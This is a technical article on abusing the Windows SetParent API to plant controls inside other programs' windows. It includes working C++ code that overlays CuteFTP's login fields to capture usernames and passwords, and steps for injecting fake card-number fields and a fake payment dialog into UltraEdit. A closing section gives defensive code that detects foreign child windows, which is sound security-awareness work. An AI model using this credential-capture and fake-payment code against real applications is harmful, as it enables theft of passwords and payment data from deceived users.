
Introduction
Using the SetParent
function to own other application windows is quite outdated and might not be surprising. This technique is widely adopted in modern web browser
applications such as Google Chrome and Internet Explorer 9. In these applications, one process acts as a container which manages other windows, and other processes work
as if they are child processes or threads. This is the most famous legitimate usage of the technique. However, this article explains how it could be a catastrophe
and suggests protection techniques against attacks presented here.
Why do I bring this old technique up?
Although there are many articles about this topic on the Internet, they focus on manipulating this technique in order to extend the functionality of applications.
For example, many of them introduce and explain how to host other applications in your dialog. However, nowadays in my mind, I am hooked on possible security threats
of the usage of this function.
Briefly, this article explains and demonstrates how the technique can be used to deceive users in order to leak sensitive information. Since it can be deployed
easily in lots of commercial and noncommercial applications, it can be a great security risk.
Level of threats: There is no protection against it
Basically, all things and issues covered by this article can also be implemented by various techniques. A well known approach is injecting code to a process.
Since there is no restriction for code in the same process, everything is possible by injecting a malicious module. However, since it is quite famous, there are many
protection solutions which prevent that. Therefore, although the method presented in here is not powerful as much as the injection method, it is more dangerous than
the previously proposed techniques in that most security solutions such as anti-virus solutions do not alarm and inform the users.
Moreover, as I will explain in a later section of this article, it also allows you to extend a target application to deceive users enter additional data that
was originally not required by the original software. For example, you may add new payment windows in order to obtain users' payment information.
Background I: Windows System
This section covers how a Windows system works in a brief way. The most interesting and surprising thing about the Windows system is that it does not have strict
links between processes and windows. Since the process creates windows, it seems to be obvious that windows must be linked to the creator, a certain process.
However, in reality, there is no specific restriction on the issue.
Therefore, you can create and access any control in the Windows Operating Systems unless these accesses are related to memory accesses. Specifically, some accesses
require memory space in order to store the requested information. For instance, the WM_GETTEXT
message returns text which a control owns. To receive data, you must assign
lParam
to the memory address. However, since each process has totally isolated memory space, if you want to obtain information by using the
WM_GETTEXT
message, you should allocate and access other processes' memory area by using WriteProcessMemory
and ReadProcessMemory
.
In summary, there is no explicit bar which thwarts the inter-process control access.
Background II: Windows Messages
In this section, I summarize the Windows messaging system in a very concise manner. Basically, most controls have event handlers to response users' requests.
As you might know, each window has a WindowProc
function to process their messages. In addition to this, child controls rely on their parent window's message handler.
For example, when users click the button, an event handler, WindowProc
, of the parent window receives a WM_COMMAND
message with an ID
of the button control (wParam
). Since it cannot be changed unless you subclass the control, which usually incurs many problems in runtime when you use it to control
windows in other processes, you should have a control of the parent window of control in order to interact with the user requests. Therefore, it is hard to receive messages
like WM_COMMAND
without injecting your code which can be detected by many protection solutions. In short, if you put your control, not a window, on
another application, you should monitor to read the data in your control repeatedly.
Threat demonstrations
Demo I: Replacing controls in other applications with your controls
This is a quite primitive and naïve approach to intercepting sensitive information. To introduce it very quickly, I will take an example by stealing information
on a well known FTP software, CuteFTP 8 Lite (http://www.globalscape.com/downloads/startdownloadnet.aspx?p=CL8).
The following picture is CuteFTP 8 Lite's login window and I will demonstrate how to replace our control to steal sensitive data in this application.

First of all, I inspected a CuteFTP 8 Lite's login window by using Spy++ to extract the control ID and its window hierarchy. The control ID of the username editbox
is 0xBBB and that of the password control is 0xBBC. By using this information, you can find a CuteFTP login window like the below code.
BOOL CALLBACK WndEnumProc(HWND hwnd, LPARAM lParam)
{
HWND* phWndAry = (HWND*)lParam;
if( phWndAry ) {
HWND hWndChild = NULL;
do {
if( hWndChild ) {
int nID = ::GetDlgCtrlID( hWndChild );
switch( nID ) {
case 0xBBC: phWndAry[1] = hWndChild;
break;
case 0xBBB: phWndAry[2] = hWndChild;
break;
}
}
hWndChild = ::FindWindowEx( hwnd, hWndChild, "Edit", NULL );
} while (hWndChild);
if( phWndAry[1] && phWndAry[2] ) {
phWndAry[0] = hwnd;
return FALSE;
}
}
return TRUE;
}
Then, the following function finds a CUTE FTP window by using the above function and replaces the username and password controls with your own control.
void CHiJackDlg::Hijack_CUTEFTP()
{
HWND hWndEditBoxes[3] = { NULL, NULL, NULL };
::EnumWindows( WndEnumProc, (LPARAM)hWndEditBoxes );
HWND hWndTargetDlg = hWndEditBoxes[0];
HWND hWndTargetPW = hWndEditBoxes[1];
HWND hWndTargetID = hWndEditBoxes[2];
if( hWndEditBoxes[0] && hWndEditBoxes[1] ) {
RECT rect[2];
::GetWindowRect( hWndTargetID, &rect[0] );
::GetWindowRect( hWndTargetPW, &rect[1] );
ScreenToClient_RECT( hWndTargetDlg, &rect[0] );
ScreenToClient_RECT( hWndTargetDlg, &rect[1] );
HWND hWndID = ::GetDlgItem( GetSafeHwnd(), IDC_EDTID );
HWND hWndPW = ::GetDlgItem( GetSafeHwnd(), IDC_EDTPWD );
::ShowWindow( hWndID, SW_HIDE );
::ShowWindow( hWndPW, SW_HIDE );
::ShowWindow( hWndTargetID, SW_HIDE );
::ShowWindow( hWndTargetPW, SW_HIDE );
::SetParent( hWndID, hWndTargetDlg );
::SetParent( hWndPW, hWndTargetDlg );
::SetWindowPos( hWndID, NULL, rect[0].left, rect[0].top,
rect[0].right - rect[0].left,
rect[0].bottom - rect[0].top,
SWP_NOZORDER|SWP_SHOWWINDOW );
::SetWindowPos( hWndPW, NULL, rect[1].left, rect[1].top,
rect[1].right - rect[1].left,
rect[1].bottom - rect[1].top,
SWP_NOZORDER|SWP_SHOWWINDOW );
} else {
AfxMessageBox("Failed to detect CuteFTP client's connection window");
}
}
To obtain data a user typed, a timer is used to periodically call the GetWindowText
function. As you might know, using GetWindowText
in order to get password text
from out of a process is not possible. Therefore, some articles inject their module to a target process in order to do it. However, as you seen here, it is very
simple to obtain passwords! No injection and extra module!
Moreover, replacing a password window with your own window is also possible. Additionally, you can apply this technique payment application in order to steal
information such as your card number and security number such as your password. (Note that I do not demonstrate it in here due to its impact.)
Demo II: Inserting an editbox control for payment information
Now I am trying to add a new feature to an existing application to make a user enter additional data.

I added new labels and an editbox in order to obtain the card number and its security number. To make it more convincing, I also wrote a description above
the controls. However, if you change a static control's parent into UltraEdit's window, the static control's background color becomes white. This is because the background color
of the control is determined by the WM_CTLCOLOR
message which is sent to the parent window's event handler. Since the parent window, About window, does not know
the injected control's existence, the control has a NULL
background color, white.

One option to figure out this problem is to subclass the control and process the WM_PAINT
message.
In the MFC application, you can subclass windows by creating derived classes and inheriting it.
void CMyStatic::OnPaint()
{
CPaintDC dc(this);
CRect rect;
GetWindowRect(rect);
ScreenToClient(rect);
dc.FillSolidRect( rect, ::GetSysColor( COLOR_3DFACE ) );
CFont* pFont = GetFont();
CFont* pOldFont = (CFont*)dc.SelectObject(pFont);
CString szText;
GetWindowText(szText);
dc.DrawText( szText, rect, DT_EDITCONTROL|DT_WORDBREAK );
dc.SelectObject( pOldFont );
}
Now, you can see more convincing windows as shown in the below picture.

It is very difficult to be identified by users since there is no indication whether or not it is from UltraEdit. In other words, it is much more dangerous
than phishing web sites since it doesn't have any URL which informs users that they are currently in the wrong place.
The CHiJackDlg::Hijack_UltraEdit_1()
function does what I've explained in this section. Since there is no difference in techniques except what I stated above,
I have not posted the source code in here. If you want to see the code, please download the sample project.
Demo III: Adding new feature to deceive a user to enter additional data
In this section, I will demonstrate new features. Since lots of previous techniques focus on monitoring sensitive user information, they depend on what
applications request. For example, if an application does not have any payment window, monitoring applications are not able to have payment information. However,
in here, I present a tricky method to obtain payment information in an application which does not have any payment function.
For the demonstration, UltraEdit's About window is also used. The first process replaces the 'Buy Now!' button with your own button. However, as I mentioned
above, just inserting a button into the other process is not working since WM_COMMAND
is sent to its parent window. Therefore, I try to insert a child dialog with the button.
Let's see the following steps.
- Create a dialog in the resource editor. (
IDD_CHILD
) - Change the dialog style to
Child
and the border option to None
. - Add a button (
IDC_BUTTON1
) on IDD_CHILD
. - Change the button name to '&Buy Now!'
- Add the
AttachWithSize
function to the dialog class. - Add an event handler on the button (
OnButton1
). - Create a dialog in the resource editor. (
IDD_PAYMENT
) - Check the 'Center' option in the More Styles tab.
- Place controls and code whatever you want, as shown in the below picture.

#include "PaymentDlg.h"
void CChildDlg::AttachWithSize(HWND hWndNewParent, int x, int y, int nWidth, int nHeight)
{
GetDlgItem( IDC_BUTTON1 )->SetWindowPos( 0, 0,0, nWidth, nHeight, SWP_NOZORDER );
ShowWindow(SW_HIDE);
::SetParent(GetSafeHwnd(), hWndNewParent);
::SetWindowPos( GetSafeHwnd(), 0, x, y, nWidth, nHeight, SWP_NOZORDER );
ShowWindow(SW_SHOW);
}
void CChildDlg::OnButton1()
{
CPaymentDlg dlg;
dlg.DoModal();
}
In this case, WM_COMMAND
messages of the button are sent to the IDD_CHILD
window. Although IDD_CHILD
will not receive messages since the parent
window does not know the existence of IDD_CHILD
, we can achieve most of our goal in this way.
By using this method, you can add full featured dialogs including resources and embedded web browsers. In addition, all processes are just same
as what you implement for normal applications.
Protections: Protect against above attacks
The easiest way to prevent the above techniques is to run a thread that monitors windows from other processes. By using
EnumChildWindows()
and GetWindowThreadProcessId()
, you can identify all windows which are shown in your dialog.
In addition, you may check your control's visibility and position periodically. If there is any change, it should be prevented. After identifying injected controls,
the best way to protect applications is to destroy them. However, since they belong to another process, the DestroyWindow
API cannot destroy it. Therefore, the second solution
is to disable and hide injected controls to prevent a user from entering sensitive information.
The below code shows the first possible protection solution I discussed in this section.
BOOL CHiJackDlg::OnInitDialog()
{
...
DWORD tid = 0;
CreateThread(NULL, 0, ProtectorThread, (HWND)GetSafeHwnd(), 0, &tid );
...
}
BOOL CALLBACK ProtectWndEnumProc(HWND hwnd, LPARAM lParam)
{
DWORD dwCurPID = GetCurrentProcessId();
DWORD pid = 0;
::GetWindowThreadProcessId( hwnd, &pid );
if( pid != dwCurPID ) {
if( ::IsWindowVisible( hwnd ) || ::IsWindowEnabled( hwnd ) ) {
AfxMessageBox("Suspicious control has been detected. "
"This thread will automatically hide and disable it.");
::EnableWindow( hwnd, FALSE );
::ShowWindow( hwnd, SW_HIDE );
return TRUE;
}
}
::EnumChildWindows(hwnd, ProtectWndEnumProc, (LPARAM)hwnd);
return TRUE;
}
ULONG WINAPI ProtectorThread(LPVOID lParam)
{
HWND hWndDialog = (HWND)lParam;
while( 1 ) {
::EnumChildWindows(hWndDialog, ProtectWndEnumProc, (LPARAM)hWndDialog);
Sleep(250);
}
return 0;
}
More aggressive protection can be implemented by using API hooks and filtering the SetParent
and CreateWindow
API which can specify a control's parent.
Although it is not a difficult task, I do not include the code since it could take quite a long time to test it.
What can be and cannot be
Since Windows Vista and 7 have introduced UAC which blocks all message exchanging activities among different UAC levels, it is not able to use
the SetParent
function to replace controls with windows from processes that have a lower UAC level.
Additional note on target applications
In this article, I chose CuteFTP and UltraEdit to demonstrate how the technique works. As you might know, the content of this article can be applied
for any kind of application. Therefore, the reason why I demonstrate the method on these applications is just for convenience, not trying to show that they are vulnerable.
If anyone feels this is improper, please let me know of another way to present this idea. Thanks!
History
- 11/08/2011: First release.